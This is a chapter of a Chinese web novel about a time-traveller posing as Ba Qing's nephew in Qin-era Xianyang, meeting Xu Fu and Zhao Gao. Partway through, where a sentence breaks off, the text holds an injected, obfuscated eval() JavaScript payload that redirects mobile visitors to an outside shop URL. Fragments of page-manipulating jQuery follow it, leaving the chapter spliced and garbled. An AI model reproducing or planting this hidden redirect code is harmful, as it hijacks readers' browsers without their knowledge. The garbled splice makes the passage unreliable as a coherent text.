清在咸阳逗留了一个月。
这一个月里,姜晚,哦不,应该叫姜生了,每天天不亮就被叫起来,跟着清走遍咸阳城的每一个衙门。
她穿着改过的粗布男装,发髻被清亲手束紧,铜簪别在脑后,走路的时候步子要迈大、腰板要挺直。
清说,男人的重心在腰上,不在胯上。姜生每天回来,小腿酸得像刚跑完三千米。
第一天去的是少府。少府是管皇室私产和手工业的衙门,丹砂入库、漆器进贡、采石冶铁,都归少府统管。
清带她进去的时候,主事的人正在案后低头翻简,抬头看见清,立刻换了张脸:“巴夫人来了,快请坐。”
清把姜生往前推了半步:“这是我族侄姜生,往后我不在咸阳,他替我跑腿。少府这边有什么事情,你找他也一样。”
主事看了一眼姜生,十七八岁,面白,瘦,他笑呵呵地说:“巴夫人调教出来的人,那一定错不了。”
第二天去的是户部。户部管天下户籍、赋税、路引。
清在这里给姜生上了一课:“你的名帖是‘远房族侄’,户籍挂在巴蜀郡,你的路引上写的是‘投亲’,你要记住,你爹叫姜伯勤,你娘姓周,你爹在你十四岁那年病死的,你变卖了家产来投奔我,之后一直在咸阳,所以口音变了。”
姜生问:“万一有人细问呢?”
清笑了一下:“你是我的人,谁敢当着我的面细问?但我不在的时候,你得学会自己编,圆不上的时候,就双眼含泪,说‘年幼丧父,往事不堪回首’,不会有人会逼一个孤儿说第二遍。”
第三天去的是方士司。方士司不在皇城里面,在城外东侧一条僻静的巷子里,门口挂着竹帘,里面飘出烧炭的气味。
清没进去,只是站在巷口指了指:“这里是徐福的地方,以后你自己来。”
第四天起,清派了侍女教姜生写字。
侍女叫青桐,十七岁,手脚麻利,嘴也碎。她拿了一卷竹简和一支毛笔摆在面前:“主母说了,公子得会写小篆。方士司批文、少府签收、每月传信,不会写字可办不了事。”
姜生握着那支毛笔,有点像回到小学第一次拿钢笔的感觉。
小篆那些曲曲绕绕的线条、粗细均匀的笔画,跟硬笔完全是两套肌肉记忆,姜生蘸了墨,在竹简上写下第一个“姜”字,歪的。
青桐立刻笑了:“公子,您这字跟我们村头六岁小孩写的差不多。”
“你村头六岁小孩写小篆?”
青桐蹲下来,把她的手掰正:“主母说了,您手稳,练几天就能好,您之前干什么的,手这么稳?”
姜生沉默了一瞬:“烧东西。”
练字第二天,青桐说:“公子,您知不知道外面都在传什么?”
“传什么?”
“传您是主母的继承人,整个咸阳城的人都知道了,巴清在骊山捡了个远房侄子,带进京来,让少府户部方士司都认了脸。好多人说,主母打算把产业交给您。”
姜生的笔顿住,她抬头看着青桐:“谁传出去的?”
“这哪知道,您想想,主母带着您走了那么多衙门,那些官吏嘴上不说,回去不得跟同僚说?说来说去,整个咸阳就都知道了,”青桐压低声音,“还有人偷偷问过我呢,问您是不是主母在外的私生子。”
姜生差点把笔捏断:“……他们真这么想?”
“那可不,主母守寡二十多年了,忽然冒出一个族侄来,搁谁谁不猜?”青桐说得理直气壮,“不过您放心,我什么都没说。”
姜生低头看竹简上那个歪歪扭扭的“生”字,她没想到“继承人”这个名头传得这么快。她原本以为自己的身份就像一层薄薄的窗户纸,有人戳一戳就破了,但现在所有人都在议论“巴清的继承人”。
回蜀前一天傍晚,清把姜生叫到后院。
院子里只有她们两个人,暮色从槐树叶子的缝隙里漏下来,清坐在石凳上,面前放着一壶已经凉了的茶,她看着姜生。
“坐下。”
清没有绕弯子。她直接说:“咸阳城里的传闻,我听说了。”
姜生的手指蜷了一下。
“说你是我的继承人,”清的语气很平,“说我打算把矿场交给你,说我守了二十多年的寡,老了,还给自己找了个儿子。”
姜生张了张嘴:“我没有……”
“我知道你没有,”清打断她,“你才来咸阳一个月,连小篆都写得像狗爬的,你还没那个本事。”
她端起茶壶给自己倒了一杯,喝了一口。
“但我今天叫你来,不是为了问你这个。”
清放下杯子,看着姜生的眼睛:“我信任你。”
她说了这四个字,停顿了一下。姜生屏住了呼吸。
“我信任你,不代表我只有你。”
清的声音不高,但每个字都清清楚楚地落下来。
“我在巴蜀经营了三十年,手底下的人比咸阳城的官吏还多,矿场、商队、码头、驿店……哪一处没有我的人?你是我捡来的,我给了你身份、名字、立足之地。”
她站起来,走到姜生面前,暮色里,她的影子把姜生整个人罩住了。
“你听好了,”她说,“你替我好好看着咸阳,徐福这个人,心思不在炼丹上,也不在权术上,不知道他在谋划什么,你帮我看着点,他人不坏,有什么难处可以找他,你在咸阳做得好,我不会亏待你,我名下的一切,将来有你一份。但你若吃里扒外,背叛我,或者跟赵高那些人走到一处去……”
她没有说完,她拍了拍姜生的肩,那只手落在肩上的力道很轻,但姜生觉得整个脊背都僵住了。
“我救了你一次,也能让你活着比死了还难受,你记住这个就行。”
说完话,清带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807188|210748||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姜生去了徐福府上,那是姜生第一次踏进徐福的丹房,三间通屋,中间是炉鼎,左边堆着矿石,右边排着陶罐。徐福本人坐在炉鼎前面,正往里面添炭,清和徐福隔着炉鼎对坐,姜生站在清身后。
“人交给你了,”清说,“跟着你学点真东西。”
徐福抬起眼皮看了姜生一眼:“她连字都不认识。”
“在学。”清说。
徐福又看了姜生一眼,目光在她手上停了半拍,然后说:“行,一个月来十天,先学认药。”
清点了点头,站起来,带着姜生往外走,到门口的时候,她停了一下,回头看着徐福:“赵高那阉人,也帮我看着点。”
敢和徐福说赵高的坏话,可见徐福和清是一伙儿的,姜生心想。
徐福的脸在炉火的照耀下一明一暗:“你怕他对你这侄儿不利?”
“他馋我那几座矿多少年了,就等着我赶紧死呢,现在我忽然冒出来个侄儿,他能甘心?”
徐福没答应,也没拒绝,他往炉膛里添了一铲炭,炉火呼地一下蹿高,把他的半张脸照得通红。
清带姜生沿街走了很久才开口:“徐福能教你的,比你能在别处学到的都多,好好跟着。”
第二天清晨,清的马车驶出咸阳城门。
姜生站在城门口,看着那辆马车混进南行的商队里,越走越远,最后变成一个黑点,消失在官道尽头的杨树林里。
她一个人站在城门口,手里只有一块铜牌、一身男装、一个编造的户籍和一个月学来的小篆字。
来到秦朝三个月了,她终于有了一个合法的存在。
但她还没来得及转身往回走,就听见身后有人在说话。
“你就是巴清的族侄?”
姜生转过头。
城门口站着一个中年男人,穿着深褐色的官袍,身材清瘦,脸长,颧骨很高,他的眼睛很小,但亮,看人的时候有一种黏腻气质。
姜生认出了那身官服——中车府令。
赵高。
赵高的目光从她的脸移到她的脖子、肩膀、腰、手,然后回到她的脸上,看得她不太舒服。
“姜先生年纪轻轻,就如此受巴夫人重视,不知有何专长啊?”
"烧东西。”她说。
赵高笑了,那笑容挂得刚刚好:“烧东西,好啊,方士司最缺的,就是能烧东西的人,”他走近一步,“姜先生明晚可有时间?到我府上吃酒?我这里有几个方士司的同僚,一起坐坐。”
她想起清的话:他会来试探你。
她还想起清说的“我信任你,不代表我只有你”。
姜生说:“好啊,大人相邀,晚辈岂敢推辞。”
赵高笑得眯起了眼睛。
“那明晚我让人来接姜先生。”
徐福不在咸阳,他去城外看矿石了,要明晚回来,那时候,姜生正在赵府。